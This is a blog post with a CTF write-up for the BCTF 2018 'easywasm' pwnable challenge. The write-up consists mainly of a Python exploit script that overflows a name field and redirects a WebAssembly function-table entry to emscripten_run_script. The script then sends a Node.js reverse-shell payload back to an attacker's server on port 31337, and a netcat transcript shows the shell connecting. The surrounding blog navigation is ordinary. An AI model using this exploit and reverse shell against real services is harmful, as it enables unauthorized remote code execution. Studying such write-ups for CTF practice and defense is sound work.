BCTF 2018 - easywasm

2018. 12. 6. 20:40·CTF/2018

Category : pwnable

Summary : wasm, bof, trigger function table index oob

Exploit

#!/usr/bin/python

from pwn import *
from paul45 import reverse_shell
import requests as r

URL = 'http://0:23333'

def add_person(name, is_tutor):
   res = r.get(URL + '/add_person', params={'name':name, 'is_tutor':is_tutor}).text
   idx = int(res[len('create person done, person id = '):])
   return idx

def change_name(idx, new_name):
   res = r.get(URL + '/change_name', params={'id':idx, 'name':new_name}).text
   assert 'done' in res
   return res

def intro(idx):
   res = r.get(URL + '/intro', params={'id':idx}).text
   return res

pay = reverse_shell('nodejs', ('myserver', 31337))

idx = add_person('pwn3r', 1)
change_name(idx, '//'.ljust(60, '.') + chr(0x5) + pay)
print intro(idx)

'''
  (*Z_envZ_table).data[offset + 23] = (wasm_rt_elem_t){func_types[0], (wasm_rt_anyfunc_t)Z_envZ__emscripten_run_scriptZ_vi};
  (*Z_envZ_table).data[offset + 24] = (wasm_rt_elem_t){func_types[0], (wasm_rt_anyfunc_t)(&_tutor_hello)};
  (*Z_envZ_table).data[offset + 25] = (wasm_rt_elem_t){func_types[0], (wasm_rt_anyfunc_t)(&f25)};
'''
$ python ex.py 
intro sent to log window

------------------------- 

$ nc -lv 31337
Listening on [0.0.0.0] (family 0, port 31337)
Connection from X.X.X.X 62017 received!
id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)
저작자표시 비영리 변경금지

'CTF > 2018' 카테고리의 다른 글

SECCON CTF 2018 QUAL - CLV2  (0) 2018.12.06
DEFCON CTF 2018 QUAL - EC3  (0) 2018.12.03
BCTF 2018 - houseOfAtum  (0) 2018.11.30
SECCON CTF 2018 QUAL - secret_message (one shot exploit)  (0) 2018.11.25
INCTF 2018 - lost  (0) 2018.11.04
'CTF/2018' 카테고리의 다른 글
  • SECCON CTF 2018 QUAL - CLV2
  • DEFCON CTF 2018 QUAL - EC3
  • BCTF 2018 - houseOfAtum
  • SECCON CTF 2018 QUAL - secret_message (one shot exploit)
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    gnuboard
    pwnables
    power of community
    POC
    정보보호올림피아드
    HUST
    후기
    HUST2011
    web
    csaw
    vuln
    csaw ctf
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
BCTF 2018 - easywasm
상단으로

티스토리툴바